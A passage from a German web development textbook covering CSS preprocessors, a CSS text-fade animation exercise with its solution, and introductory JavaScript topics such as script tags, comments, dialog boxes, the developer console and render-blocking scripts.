                        
        6.22    Sass, LESS & Co – der Einsatz von CSS-Präprozessoren

        Klären wir zunächst einmal, was (CSS-)Präprozessoren (auch Precompiler genannt) sind und weshalb sie überhaupt existieren. CSS ist eine ständig wachsende Technologie, die uns immer wieder neue Möglichkeiten für die Webentwicklung bereitstellt. Dabei orientieren sich die Macher*innen von CSS (das W3-Konsortium) natürlich an den Wünschen und Anforderungen der Web-Welt. Die Umsetzung der jeweiligen Erweiterungen/Verbesserungen dauert zwar nicht mehr so lange wie in den Zeiten vor HTML5; aber dennoch dauert es dem einen oder der anderen zu lange.

        Genau an dieser Stelle kommt ein Präprozessor ins Spiel: Präprozessor sind Systeme, die eine Vor-Sprache in eine Websprache übersetzen, die ein Interpreter (Browser) versteht. Im Falle von CSS wäre CSS die Websprache und Sass oder LESS wären die Vor-Sprachen. Solange der Interpreter mit einer Sprache versorgt wird, die er interpretieren kann, ist (für ihn) alles in bester Ordnung.

        Worin aber besteht der Vorteil einer solchen Vor-Sprache? Nun, in eine solche Sprache kann man nun alle Funktionalitäten hineinpacken, die man in der Websprache nicht hat, sofern die Funktionalitäten dann in die Websprache – zumeist umständlicher – überführt werden können.

        Die Entwickler von Sass, LESS und Co. haben erkannt, dass Features wie Variablen, Schleifen und Ähnliches – also Konstrukte, die in einer Programmiersprache vorzufinden sind – in CSS sehr vermisst werden, dass deren Ergebnisse in der Anwendung jedoch von CSS abgebildet werden können.

        Das ist für einen Webentwickler eine praktische Sache, da er nun weniger und auch weniger umständlich CSS-Code schreiben muss. Der Nachteil jedoch ist, dass es ein System geben muss, das die Vor-Sprache in die Websprache übersetzt. Und das verursacht schlussendlich Mehrarbeit, denn das Übersetzen benötigt während des Builds Zeit, sofern dieses Übersetzen vom Webserver erledigt werden muss.

        Womit wir bei einem weiteren Problem wären: Solche Systeme müssen installiert werden. Alternativ könnte ein Webentwickler ein derartiges System lokal in seiner Entwicklungsumgebung installieren und das Übersetzen bei jeder Änderung des Codes in der Vor-Sprache selbst übernehmen. Dennoch kann man es drehen und wenden, wie man möchte: Präprozessoren erleichtern zunächst die Arbeit, um dann am Ende der Kette wieder in einem Problem zu enden.

        Natürlich liefern Präprozessoren auch Vorteile (wie verschachtelte Regeln, Mixins usw.). Dennoch werden auch diese früher oder später in CSS übernommen. Denkt man die Sache zu Ende, so läuft es auf zwei Schlussfolgerungen hinaus:

        
            	
                Die CSS-Entwickler*innen werden – früher oder später – all die erwünschten Features in den Standard von CSS auf- und übernehmen.

            

            	
                Präprozessor stellen immer nur eine Zwischenlösung dar. Schlussendlich werden sie vom eigentlichen Standard abgelöst.

            

        

        Somit stellt sich die Frage, die Sie nur für sich selbst beantworten können: Wollen Sie auf das Pferd Erleichterung setzen oder dem Standard CSS vertrauen? Mein Tipp: Befassen Sie sich zunächst mit den Möglichkeiten im Rahmen von CSS, bevor Sie an Erleichterungen denken. Leichter kann man es sich immer machen, man muss dann aber auf ein System vertrauen, das dazwischen steht.

    


                    
                        
        6.23    Übungsbeispiel

        Erstellen Sie eine Animation, bei der innerhalb gewisser Zeitabschnitte Texte eingeblendet werden. Der Bereich, in dem die Animation ablaufen soll, soll sich über den gesamten Viewport-Bereich erstrecken und einen schwarzen Hintergrund aufweisen; der Innenabstand soll mit der einfachen Schriftgröße festgelegt werden.

        Die Animation soll wie folgt ablaufen, wobei jedem Text eine Einblendezeit von drei Sekunden zugewiesen werden soll:

        
            	
                Der erste Text soll nach einer Sekunde eingeblendet werden.

            

            	
                Der zweite Text soll nach 4,5 Sekunden eingeblendet werden.

            

            	
                Der dritte Text soll nach 7,5 Sekunden eingeblendet werden.

            

            	
                Der vierte Text soll nach 10,5 Sekunden eingeblendet werden.

            

            	
                Der fünfte und letzte Text soll nach 12,5 Sekunden eingeblendet werden.

            

        

        Die ersten drei Absätze sollen nach dem Ende der Animation weiß sein, die restlichen beiden Absätze hellgrau. Achten Sie darauf, die zugewiesenen Spezifitäten so gering wie möglich zu halten. Abbildung 6.93 zeigt anhand einiger Screenshots, wie das Ergebnis beim Starten, während des Ablaufens und nach Beendigung der Animation aussehen soll. Die Wahl der Schriftfamilien und -größen steht Ihnen frei.

        
            [image: Die Animation zu Beginn, etwa zur Halbzeit und am Ende]

            Abbildung 6.93    
            Die Animation zu Beginn, etwa zur Halbzeit und am Ende

        
        Lösung:

        Der benötigte HTML-Code (Auszug) könnte beispielsweise so aussehen:

        <div id="animator">
  <p>Wir sind die Besten.</p>
  <p>Wir sind die Grössten.</p>
  <p>Wir sind die Schönsten.</p>
  <p class="smaller">Ehrlich jetzt?</p>
  <p class="smaller">Wir können das nicht mehr hören.</p>
</div>


        Die fünf Absätze befinden sich in einem Element mit der ID #animator, weshalb die Animation(en) den Absätzen innerhalb von #animator zugewiesen werden:

        #animator {
  padding:1rem;
}
#animator p {
  animation-duration:3s;
  animation-timing-function:ease;
  animation-fill-mode:forwards;
  animation-name:fadein;
  color:rgba(255,255,255,0);
}


        Die Idee hinter der Animation ist, dass die Schriftfarbe von »völlig transparent« zu »vollständig deckend« animiert wird. Die beiden unterschiedlichen Schriftfarben definieren wir über lokale Variablen. Damit die zuletzt angewandte Schriftfarbe nach Beendigung der jeweiligen Animation erhalten bleibt, verwenden wir als animation-fill-mode den Wert forwards.

        #animator p:not(.smaller) {
  font-size:4rem;
  text-transform:uppercase;
  --color0:rgba(255,255,255,0);
  --color1:rgba(255,255,255,1);
}
#animator p.smaller {
  --color0:rgba(200,200,200,0);
  --color1:rgba(200,200,200,1);
}


        Für einen jeden Absatz wird nun die Verzögerung angegeben:

        #animator p:nth-of-type(1) {
  animation-delay:1s;
}
#animator p:nth-of-type(2) {
  animation-delay:4.5s;
}
#animator p:nth-of-type(3) {
  animation-delay:7.5s;
}
#animator p:nth-of-type(4) {
  animation-delay:10.5s;
}
#animator p:nth-of-type(5) {
  animation-delay:12.5s;
}


        Nun werden die Keyframes für die Animation definiert, wobei jeweils auf die lokal definierten Variablen --color0 und --color1 zugegriffen wird:

        @keyframes fadein {
  from {
    color:var(--color0);
  }
  to {
    color:var(--color1);
  }
}


        Done. Finished.

    


                    
                        7    JavaScript – die logische Abteilung auf der Clientseite
Ran an die Programmierung, denn nun wird’s interaktiv. Doch bevor wir die User mit Interaktion beglücken, werden Sie die Grundlagen der Programmierung kennenlernen.
Bisher hatten wir es mit zwei der drei grundlegenden Sprachen zur Erstellung (moderner und zeitgemäßer) Websites zu tun:

        	
            HTML als Basis-Technologie zur (semantischen) Darstellung von Inhalt

        

        	
            CSS als Formatierungssprache für die von HTML generierten Inhalte

        

    
Mithilfe dieser beiden Sprachen können Sie also Inhalte erzeugen und formatieren. Möchten Sie jedoch interaktive Inhalte anbieten, brauchen Sie eine Skriptsprache. Unter einer Interaktion versteht man die Wechselwirkung (mindestens) zweier Handelnder, indem üblicherweise auf eine Aktion eine entsprechende Reaktion folgt, die wiederum eine neuerliche Aktion nach sich ziehen kann usw.
Eine Interaktionsmöglichkeit zu ergänzen, war einer der ersten Wünsche von Webentwicklern, und dieser Wunsch wurde vom Unternehmen Netscape im Jahr 1995 aufgegriffen, indem Netscape in seinen Browser (den Netscape Navigator) eine Scriptsprache implementierte. Die tatsächliche Umsetzung dieser Idee erfolgte 1996, als Netscape in Kooperation mit Sun Microsystems die Programmiersprache LiveScript auf den Markt brachte, die (aus rein marketingtechnischen Gründen aufgrund der Popularität der Hochsprache Java) noch im selben Jahr in JavaScript umbenannt wurde.
So gut die Einführung einer Programmiersprache in einem Browser zunächst auch klang, so groß waren die dadurch entstehenden Probleme: Weil Netscape und nicht das (offizielle) W3-Konsortium (W3C) »Eigentümer« von JavaScript war, wurde anderen Browsern (das war im damaligen Fall im Wesentlichen der Internet Explorer vor Microsoft) bzw. den Browserherstellern der Zugang zu JavaScript aus verständlichen Gründen verwehrt. Aus diesem Grunde entschied Microsoft, JavaScript zu beinahe 100 % zu kopieren und diese Sprache unter dem Namen JScript in den Internet Explorer zu integrieren.
Nichtsdestotrotz war JavaScript Eigentum von Netscape – sollte Netscape also zu irgendeinem Zeitpunkt den Betrieb einstellen, so wäre JavaScript anzunehmenderweise auch davon betroffen.
In den darauffolgenden Jahren wurde aus dem Netscape Communicator der aktuell bekannte Browser namens Firefox der Mozilla Foundation (2002). Um den Fortbestand von JavaScript zu sichern, unternahm das W3C bald Schritte, um JavaScript in eine andere Sprache überzuführen. Weil JavaScript seit der Version 1.4 im Kern auf dem Standard ECMA-262 beruht und demnach zu 100 % kompatibel mit dieser Sprache ist, wurde die Weiterentwicklung von JavaScript im Jahre 2010 mit der Version 1.8.5 eingestellt und fortan mit der Weiterentwicklung von ECMAScript (kurz: ES) fortgefahren. Man kann also sagen, dass der Sprachkern von JavaScript ES ist und dass dieser weiterentwickelt wird. Der »Deckname« ist nach wie vor JavaScript – die Sprache selbst ist jedoch nach Übernahme von Sun Microsystems Eigentum der Firma Oracle.
Die wesentlichen Ziele von JavaScript sind nach wie vor dieselben:

        	
            Interaktion mit dem User: auf Maus-, Tastatur- oder ähnliche »Ereignisse« reagieren

        

        	
            Veränderungen am HTML-Code vornehmen

        

        	
            Inhalte dynamisch ändern bzw. nachladen

        

    
Bevor man sich jedoch mit der Sprache selbst intensiver befasst, muss man zunächst einmal die Grundlagen der Programmierung erlernen. Dieser Schritt wäre zwar theoretisch mit jeder Programmiersprache möglich, da es jedoch gilt, JavaScript zu erlernen, verfolgen wir zunächst einmal dieses Ziel.
JavaScript ist im Übrigen nicht auf die Clientseite, also einen Browser o. Ä., beschränkt, sondern findet sich auch in vielen anderen Bereichen wieder: als Node.js auf der Serverseite wie auch eingebettet in den Adobe Acrobat (Reader), etwa zum Validieren von Formularen in PDF-Dokumenten.
JavaScript ist – wie für Skriptsprachen üblich – eine interpretierte Sprache. Wie auch für HTML und CSS gilt somit, dass das »darstellende System« (in unserem Fall der Browser) in der Lage sein muss, den JavaScript-Code zu verstehen, sprich ihn interpretieren zu können. Somit sind wir aber wieder in der Situation, dass wir vom Browser abhängig sind: Wenn der Browser kein JavaScript versteht (das ist sehr, sehr selten der Fall) oder der User JavaScript deaktiviert hat (das ist auch sehr selten der Fall, kommt jedoch in größeren Unternehmen vor) oder wenn der Browser zu alt ist und die eingesetzten JavaScript-Anweisungen nicht versteht (das ist mittlerweile ebenfalls selten der Fall), so führt dies zu JavaScript-Fehlern, die zwar abgefangen werden können, aber deren Behebung nicht in der Macht des Webentwicklers liegt.
Üblicherweise dürfen wir davon ausgehen, dass die gängigen Browser (Chrome, Firefox, Edge und Konsorten) keine Probleme mit JavaScript haben – zu 100 % darauf vertrauen, dass JavaScript zur Verfügung steht, sollten Sie dennoch nicht. Oftmals ist dies auch eine Frage der Zielgruppe, wie Sie in Abschnitt 2.4.1 zur Zielgruppenanalyse gelernt haben.

        7.1    Eine erste Abgrenzung zu anderen Sprachen und Frameworks

        Bevor wir zur Tat schreiten, möchte ich zunächst eine Abgrenzung zu anderen Sprachen und Begriffen bzw. Frameworks und Funktionsbibliotheken vornehmen, sodass wir eine gemeinsame Sprache sprechen:

        
            	
                JavaScript ist die standardisierte clientseitige Programmiersprache im Web, die auf der ECMAScript-Spezifikation aufbaut.

            

            	
                ECMAScript ist eine Art »Blaupause/Vorlage« für Scriptsprachen im Allgemeinen. JavaScript bedient sich dieser Vorlage auf Basis des ECMA-262-Standards (https://ecma-international.org/publications-and-standards/standards/ecma-262/).

            

            	
                TypeScript liegt derzeit in der vierten Version vor (5.4.2, Stand März 2024), wurde von Microsoft entwickelt und ist ein sogenanntes »Superset« (eine Obermenge) von JavaScript, was bedeutet, dass TypeScript alles kann, was JavaScript kann, aber auch noch mehr.

                Das Problem solcher Supersets ist, dass ein Browser diesen Code nicht versteht, da er eben »nur« JavaScript, jedoch nicht TypeScript beherrscht. Hegt man also den Wunsch, TypeScript einzusetzen, so muss der TypeScript-Code zunächst in JavaScript-Code umgewandelt werden. Die Idee hinter TypeScript ähnelt der hinter CSS-Precompilern: Man wollte die Unzulänglichkeiten von JavaScript ausbügeln oder kann nicht darauf warten, bis diese in den JavaScript-Standard eingefügt werden. Im Speziellen war dies etwa die fehlende Typisierung von Variablen oder der Einsatz von Klassen. Das sagt Ihnen zu diesem Zeitpunkt natürlich noch nichts, aber behalten Sie das im Hinterkopf – wir kommen darauf zurück.

            

            	
                jQuery ist eine Funktionsbibliothek, die in JavaScript geschrieben ist und sich mittlerweile zu einem Quasi-Standard gemausert hat. Diese kann problemlos in eine Website integriert werden. Funktionsbibliotheken sind üblicherweise dafür da, dass sie Funktionalitäten auf einfachere Art und Weise bereitstellen, als wenn man diese selbst ausprogrammieren müsste. Sie unterstützen mit anderen Worten den Webentwickler in seinem Tun, indem sie ihm »das Leben einfacher« machen. Der Nachteil solcher Funktionsbibliotheken ist, dass sie zumeist recht umfangreich sind und dass somit einerseits viel Code geladen werden muss, sich der Browser aber andererseits auch damit »auseinandersetzen« muss, was zu Performance-Einbußen führt.

            

        

    


                    
                        
        7.2    Scriptsprachen und HTML – her mit der Interaktion

        Ähnlich wie auch CSS stellt HTML ein geeignetes Tag zur Verfügung, mit dessen Hilfe eine Scriptsprache in das Dokument integriert werden kann. Wie Sie vielleicht an meiner Formulierung erkennen, legt sich HTML zunächst nicht fest, um welche Scriptsprache es sich handelt, da JavaScript nicht die einzige Scriptsprache am Markt ist: Neben JavaScript existieren beispielsweise JScript, VBScript, ActionScript, ECMAScript, TypeScript usw. Mit der Einführung von HTML5.1 wurde JavaScript jedoch zur Standardsprache erhoben. Wenn Sie das unten dargestellte <script> verwenden, soll der Browsers automatisch annehmen, dass es sich um JavaScript handelt:

        <script>


        //an dieser Stelle folgt JavaScript-Code


        </script>


        Sollte eine andere Sprache zum Einsatz kommen, so müsste dies durch Angabe ihres Content-Typs mit dem type-Attribut erfolgen:

        <script type="text/actionscript">


        //an dieser Stelle folgt ActionScript-Code


        </script>


        
            [»]  Die Angabe des MIME- oder Content-Typs

            Die Angabe von type="text/javascript" (oder auch: type="application/javascript") gilt seit HTML5.1 als deprecated (unerwünscht) und liefert in Validatoren (zumindest) eine Warnung.

        

        Weiters ist es möglich, JavaScript-Code in eine externe Datei auszulagern, um den Code beispielsweise auch in anderen Dokumenten verfügbar zu machen. Hierzu wird ebenfalls auf das Tag <script> zurückgegriffen, jedoch in Verbindung mit dem src-Attribut, das einen Pfad zur einzubindenden Datei erwartet:

        <script src="Pfad zur JavaScript-Datei"></script>


        Beachten Sie jedoch Folgendes:

        
            	
                Sobald eine externe Datei ins Dokument eingebettet wird, muss das zugehörige Script-Tag sofort wieder geschlossen werden. Zwischen dem beginnenden und dem endenden Tag darf kein weiterer Scriptcode stehen.

            

            	
                Eine JavaScript-Datei beinhaltet nur JavaScript-Code und besitzt die Endung .js.

            

        

        Nachteilig an der Einbettung externer JavaScript-Dateien ist der zusätzliche Request durch das Laden der Datei. Andererseits liegt der große Vorteil darin, dass der Code wiederverwendet werden kann: Mehrere Dateien können auf ein und dieselbe JavaScript-Datei zugreifen, so wie das auch im Fall externer CSS-Dateien war.

        Durch die Angabe des type-Attributs weisen Sie den Browser an, auf unterschiedliche Content-Typen zu reagieren. Hierbei sind folgende Punkte zu beachten:

        
            	
                Der Content-Typ bestimmt auf Basis der Typengruppe (text, application etc.), auf welche Art und Weise der Browser mit der Datei umgehen soll. Beispielsweise darf der Brower in einem text-basierten Content etwaige Fehler verzeihen, in einem application-basierten Content jedoch nicht. Wählt man demnach beispielsweise anstatt text/vbscript den Content-Typ application/vbscript, so muss der entsprechende Code fehlerfrei sein, da der Browser ihn ansonsten nicht interpretieren und abarbeiten darf.

            

            	
                Es ist nicht gesagt, dass ein Browser den entsprechenden Script-Code auch interpretieren kann: Verfügt ein Browser beispielsweise über keinen VBScript-Interpreter (der auch wirklich nur in Microsoft-Browsern zu finden ist), so ist der Browser nicht in der Lage, den Code zu interpretieren.

            

        

        Grundsätzlich dürfen Sie davon ausgehen, dass jeder gängige Browser über einen JavaScript-Interpreter verfügt – verpflichtend ist dies jedoch nicht. Auch ist ein User in der Lage, die Ausführung von Scriptcode zu verbieten. Aus diesem Grund stellt HTML ein zweites Tag namens <noscript> bereit, mit dem es zumindest möglich wird, dem User einer Website einen entsprechenden Hinweis zu geben, dass sein Browser keinen Scriptcode ausführen kann (oder darf):

        <noscript>
 <p>Sehr geehrter User, leider ist Ihr Browser nicht in der Lage, Script-Code auszuführen.</p>
</noscript>


        Auch im Bereich der Barrierefreiheit spielt das Tag <noscript> eine Rolle: Sollte ein Inhalt über JavaScript generiert werden, so muss dieser auch ohne JavaScript verfügbar gemacht werden (beispielsweise über eine Verlinkung auf ein HTML-Dokument, in dem diese Inhalte abgerufen werden können).

    


                    
                        
        7.3    Bevor es los geht, ein wenig Vorbereitung

        Gehen wir’s an. Unser Ziel ist es, ein erstes JavaScript-Beispiel zu programmieren. Wann immer man eine neue Programmiersprache erlernt, darf ein Beispiel nicht fehlen: »Hallo Welt!«

        <!doctype html>
<html lang="de">
 <head>
  <title>Hallo Welt!</title>
  <meta charset="utf-8">
 </head>
 <body>
  <script>


          /* Unser erstes Beispiel:
   Wir verwenden eine alert-Box, um einen Text auszugeben
  */
  alert("Hallo Welt!"); //gibt den Text "Hallo Welt" in einer alert-Box aus


          </script>
 </body>
</html>


        
            7.3.1    Wie schreibt man Programmcode?

            Sie kennen das ja: Sowohl in HTML als auch in CSS gibt es Schreibregeln, die Sie einhalten müssen. Das ist in JavaScript nicht anders, und wenn Sie das obige Beispiel betrachten, dann fallen Ihnen gleich zwei Punkte auf:

            
                	
                    Programm(ier)code wird wie in HTML und CSS üblicherweise zeilenweise geschrieben, wobei zwischen den Befehlen beliebig viele Zeilenumbrüche erlaubt sind. Ebenso sind Einrückungen mit Tabulatorschritten erlaubt und erwünscht.

                

                	
                    Jede Anweisung in JavaScript muss mit einem Strichpunkt abgeschlossen werden. Dies ist zwar nicht zwingend (die Strichpunkte werden im Parsing-Prozess automatisch hinzugefügt, was jedoch recht umstritten ist: siehe etwa https://de.wikipedia.org/wiki/Automatic_semicolon_insertion), dennoch ist es sehr erwünscht. Sollten Sie sich einmal mit einer anderen Programmiersprache wie etwa PHP beschäftigen, so werden Sie feststellen, dass der Strichpunkt am Ende einer Anweisung dort zwingend ist. Warum also nicht gleich damit anfangen?

                

            

            
                [Info]  Anweisungen und Befehle

                Unter einer Anweisung versteht man einen zusammenhängenden Block an Code, wie beispielsweise eine Zeile, in der eine Berechnung stattfindet:

                let b = 17;
let a = 23*b; 


                Wie Sie sehen, wird jede Anweisung mit einem Strichpunkt beendet.

                Ein Befehl ist wiederum ein Synonym für vieles: Das kann eine Funktion sein, eine Methode oder eine Berechnung. Nur können Sie an dieser Stelle wahrscheinlich noch nichts mit den Fachbegriffen anfangen, weshalb ich zunächst einmal von einem Befehl sprechen werde.

            

        
        
            7.3.2    Kommentare in JavaScript

            Bevor man zur Tat schreitet, sei noch angemerkt, dass gute Programmierer*innen ihren Code entsprechend mit Hinweisen (Kommentaren) versehen, um diesen für zukünftige Veränderungen oder Anpassungen besser lesbar (bzw. verständlich) zu machen. Gerade im Anfangsstadium des Programmierens sollten Sie umfassend Gebrauch von Kommentaren machen.

            Es stehen zwei Arten von Kommentaren zur Verfügung:

            
                	
                    // leitet einen einzeiligen Kommentar ein: Jeglicher Text, der nach den beiden Schrägstrichen geschrieben wird und in einer Code-Zeile steht (bzw. keinen Zeilenumbruch enthält), wird nicht beachtet bzw. als Kommentar angesehen.

                

                	
                    /* .. */ erzeugt einen mehrzeiligen Kommentar: Hiermit wird es möglich, den Kommentar auch mit Zeilenumbrüchen zu versehen. Außerdem können auch Teile einer Code-Zeile auskommentiert werden.

                

            

        
        
            7.3.3    Hilfe bei der (notwendigen) Fehlersuche: Diverse Ein- und Ausgabemöglichkeiten

            JavaScript stellt einige sehr rudimentäre Ein- und Ausgabefenster bereit, die gerade in diesem Stadium des Erlernens einer Sprache (noch) gerne genutzt werden:

            
                	
                    Die Alert-Box: Eine Alert-Box wird mittels alert() erzeugt und ist in der Lage, dem User eine Information (Warnung) auf dem Bildschirm darzustellen. Solche Boxen werden gerne verwendet, um den User auf etwas hinzuweisen:

                    alert("Sie haben das Formular noch nicht abgeschickt. Wollen Sie die Seite wirklich verlassen?"); 


                    Zusätzlich zu solchen textuellen Ausgaben greift der Entwickler gerne auf die Alert-Box zurück, um den Inhalt von Variablen (siehe Abschnitt 7.4.1) am Bildschirm auszugeben.

                

                	
                    Die Confirm-Box: Sie stellt eine Bestätigungsmöglichkeit dar, indem ein Fenster geöffnet wird, in dem der User nach einer Antwort gefragt wird, die er mit OK oder Abbrechen bestätigen kann:

                    let antwort = confirm("Wollen Sie das wirklich tun?"); 


                    Die Antwort des Users (sprich, welchen Button er geklickt hat), wird danach in die Variable antwort gespeichert. Als mögliche Werte kommen true (er hat den OK-Button angeklickt) oder false (er hat den Abbrechen-Button angeklickt) infrage.

                

                	
                    Die Prompt-Box: Diese Box stellt eine (einfache) Form einer Eingabemöglichkeit dar, indem wiederum ein Fenster geöffnet wird, in dem der User nach einem Text als Eingabe gefragt wird. Diese Eingabe kann er mit OK oder Abbrechen bestätigen.

                    let antwort = prompt("Bitte geben Sie Ihren Vornamen ein:"); 


                    erreicht, dass die Antwort des Users in der Variable antwort gespeichert wird. Als mögliche Antworten kommen die Eingabe des Users (durch Bestätigen mit dem OK-Button) oder ein null (durch Klicken des Abbrechen-Buttons) infrage.

                

            

            Allen Boxen ist gemeinsam, dass sie die weitere Abarbeitung des (folgenden) JavaScript-Codes so lange unterbrechen, bis der User entsprechend auf das geöffnete Fenster reagiert hat.

            
                [Info]  Code-Fragment vs. Code-Schnipsel vs. Code-Teil

                Sie werden des Öfteren die Begriffe Code-Fragment, Code-Schnipsel oder Code-Teil lesen: Alle bedeuten dasselbe. Damit meint man, dass man nur von einem gewissen Ausschnitt des gesamten Codes spricht.

            

        
        
            7.3.4    Die Entwicklerkonsole ist ein Segen fürs Webdesign

            Seit einigen Jahren stehen in allen gängigen Browsern Entwicklertools zur Verfügung, mit deren Hilfe wir die Verarbeitung von Dokumenten auf der Clientseite genauer analysieren bzw. beobachten können. Üblicherweise werden diese Tools durch Drücken der (F12)-Taste geöffnet.

            Ein wesentlicher Teil des Tools ist das Konsolen-Tab, in dem der Entwickler die Möglichkeit hat, Informationen auszugeben, die ihm beispielsweise helfen, den geschriebenen Code nach Fehlern zu durchforsten. Der Befehl zur Ausgabe von Informationen lautet console.log(), wobei dieser Befehl sowohl textuelle Informationen (z. B. console.log("Hallo Welt!");) als auch Variableninhalte (z. B. console.log(a);) verarbeiten kann. Weiters ist es möglich, mehrere Informationen auf einmal auszugeben:

            console.log("Hallo Welt!",a,b,"Test");

            Im Rahmen dieses Buches werden wir an vielen Stellen auf diese Möglichkeit zurückgreifen, wie wir es auch im Rahmen von CSS mit dem Inspektor in der Entwicklerkonsole getan haben. In Abbildung 7.1 sehen Sie die eingeblendete Entwicklerkonsole, in die (unter anderem) der Text »Hallo Welt!« mittels console.log('Hallo Welt!'); ausgegeben wurde.

            
                [image: Erste Schritte in JavaScript: Die Ausgabekonsole dient als Hilfsmittel für einfache Ausgaben.]

                Abbildung 7.1    
            Erste Schritte in JavaScript: Die Ausgabekonsole dient als Hilfsmittel für einfache Ausgaben.

            
            Wenn Sie sich in JavaScript einarbeiten, sind Sie zu Beginn mit einer Flut an Fachbegriffen konfrontiert, die die eigentliche Arbeit des Programmierens im ersten Moment erschweren. Um dieses Problem hier gar nicht erst aufkommen zu lassen, erkläre ich einige wichtige Punkte im Vorfeld. Hierzu gehört vor allem, dass Sie wissen, was blockierende Scripts (Render Blocking Scripts) sind, und dass Sie den Unterschied zwischen einer synchronen und einer asynchronen Verarbeitung kennen.

        
        
            7.3.5    Kein Inhalt sichtbar?

            Unter einem blockierenden Script versteht man Code, der den Browser davon abhält, die Seite (weiter) darzustellen, bis das Script vollständig abgearbeitet wurde. In den Kapiteln zu HTML und CSS haben Sie gelernt, dass unser geschriebener Code vom Browser Zeile für Zeile verarbeitet wird, und zwar eine Zeile nach der anderen:

            <!DOCTYPE html>
<html lang="de">
  <head>
    <title>Das HTML-Grundgerüst</title>
    <meta charset="utf-8">
  </head>
  <body>
    <p class="teaser">Hallo Welt!</p>
  </body>
</html>


            Zunächst liest der Browser die erste Zeile ein und erkennt den Dokumenttyp. Danach folgt das Einlesen des Wurzelelements <html> mitsamt der Information zur vorrangig im Dokument verwendeten Sprache (lang="de"). Danach folgen <head>, <title>, <meta> usw. Eine Zeile folgt auf die andere. Erst, wenn der Browser </head> gelesen hat, folgt <body>.

            In CSS war das nicht anders:

            p.teaser {
  color:white;
  background-color:steelblue;
  padding:0.2em 0.5em;
  border-radius:0.2em;
  color:#eee;
}


            Zunächst liest der Browser den Selektor ein und versteht, dass von den folgenden Regeln ausschließlich Absätze (p für engl. paragraph) mit zugewiesener Klasse teaser betroffen sind. Dann legt er fest, dass diese Absätze eine weiße Schriftfarbe bekommen sollen, legt die Hintergrundfarbe mit steelblue fest, definiert ein padding und einen border-radius, bis er abermals eine Regel für die Festlegung einer Schriftfarbe findet. Die neue Schriftfarbe ersetzt die alte Schriftfarbe, aber vereinfacht gesprochen könnte man sagen, dass der Absatz am Anfang weiß und später hellgrau geschrieben wird. Das ist zwar technisch nicht ganz korrekt, aber darauf kommt es uns jetzt nicht an. Wichtig ist lediglich, dass auch hier die Reihenfolge der Regeln Zeile für Zeile verarbeitet wurde.

            JavaScript arbeitet nicht anders: Jede Code-Zeile in JavaScript wird nach der anderen Zeile verarbeitet. Dennoch steckt hier die Problematik im Detail. Betrachten wir einmal folgenden Code:

            let vorname;
vorname = prompt("Bitte geben Sie Ihren Vornamen ein:");
console.log("Ihr Vorname ist:",vorname);


            In diesem Fall wird unser User über eine Eingabebox am Bildschirm zur Eingabe seines Vornamens aufgefordert. Sobald der User seine Eingabe bestätigt hat, wird sein Vorname in der Entwicklerkonsole ausgegeben.

            All unseren Code packen wir nun in ein HTML-Dokument, damit wir ihn in einem Browser testen können:

            <!DOCTYPE html>
<html lang="de">
  <head>
    <title>Das HTML-Grundgerüst</title>
    <meta charset="utf-8">
    <style>


                  p.teaser {
        color:white;
        background-color:steelblue;
        padding:0.2em 0.5em;
        border-radius:0.2em;
        color:#eee;
      }


                </style>
    <script>


                  let vorname;
      vorname = prompt("Bitte geben Sie Ihren Vornamen ein:");
      console.log("Ihr Vorname ist:",vorname);


                </script>
  </head>
  <body>
    <p class="teaser">Hallo Welt!</p>
  </body>
</html>


            Listing 7.1    
            Wir blenden eine erste Prompt-Box ein und blockieren hierdurch die weitere Verarbeitung des Codes.

            Testen wir das Beispiel, so werden wir feststellen, dass wie erwartet das Eingabefenster eingeblendet und der User nach seinem Vornamen gefragt wird (siehe Abbildung 7.2). Von dem Hallo-Welt-Absatz, der sich im <body> befindet, ist jedoch nichts zu sehen:

            
                [image: Wo ist unser Absatz geblieben?]

                Abbildung 7.2    
            Wo ist unser Absatz geblieben?

            
            Erst nachdem wir die Eingabebox ausgefüllt und bestätigt haben, werden auch der Hallo-Welt-Absatz und die Ausgabe in der Entwicklerkonsole sichtbar (siehe Abbildung 7.3).

            
                [image: Nun sind sowohl der Absatz als auch die Ausgabe in der Entwicklerkonsole vorhanden. Der im Screenshot dargestellte Code soll lediglich zum Vergleich mit dem Ergebnis dienen.]

                Abbildung 7.3    
            Nun sind sowohl der Absatz als auch die Ausgabe in der Entwicklerkonsole vorhanden. Der im Screenshot dargestellte Code soll lediglich zum Vergleich mit dem Ergebnis dienen.

            
            Was also ist geschehen? Nun, nichts, was wir nicht erwartet hätten: JavaScript arbeitet den Code Zeile für Zeile ab, und solange wir in der Zeile mit dem Prompt stecken bleiben, geht auch nichts weiter. JavaScript blockiert die weitere Verarbeitung der Seite so lange, bis es den aktuellen Befehl verarbeiten konnte.

            Wie könnte man derartige Fälle vermeiden? Nun, hier ist die Sachlage noch relativ einfach: Man verschiebt den Scriptcode ans Ende des HTML-Dokuments, denn hierdurch wird der Browser zunächst sämtlichen HTML-Code verarbeiten und sich erst danach um den betreffenden Scriptcode kümmern:

            <!DOCTYPE html>
<html lang="de">
  <head>
    <title>Das HTML-Grundgerüst</title>
    <meta charset="utf-8">
    <style>


                  p.teaser {
        color:white;
        background-color:steelblue;
        padding:0.2em 0.5em;
        border-radius:0.2em;
        color:#eee;
      }


                </style>
  </head>
  <body>
    <p class="teaser">Hallo Welt!</p>
  </body>
  <script>


                let vorname;
    vorname = prompt("Bitte geben Sie Ihren Vornamen ein:");
    console.log("Ihr Vorname ist:",vorname);


              </script>
</html>


            Listing 7.2    
            Die Prompt-Box blockiert die Verarbeitung des Codes nun nicht mehr. Aber ist das die Lösung? Eher nicht, wie wir sehen werden.

            Problem solved. Dennoch muss man sich immer die Frage stellen, ob hierdurch die Funktionalität des Codes immer noch gegeben ist. Wäre die Eingabe durch den User von essenzieller Bedeutung für den folgenden Code, so dürften Sie nicht so handeln und müssten auf andere Praktiken zurückgreifen, wie Sie in Abschnitt 7.10 erfahren werden.

            
                [ ! ]  JavaScript-Code am Dokument-Ende?

                Wenn Sie einmal die Empfehlung hören, den JavaScript-Code an das Ende des HTML-Codes zu stellen, dann gilt dies lediglich für blockierenden Code wie diesen, der offensichtlich keinen Einfluss auf den restlichen Code nimmt. Diesen kann man bedenkenlos ans Ende des Dokuments stellen, für andere Codes ist dies nicht notwendigerweise der Fall.

            

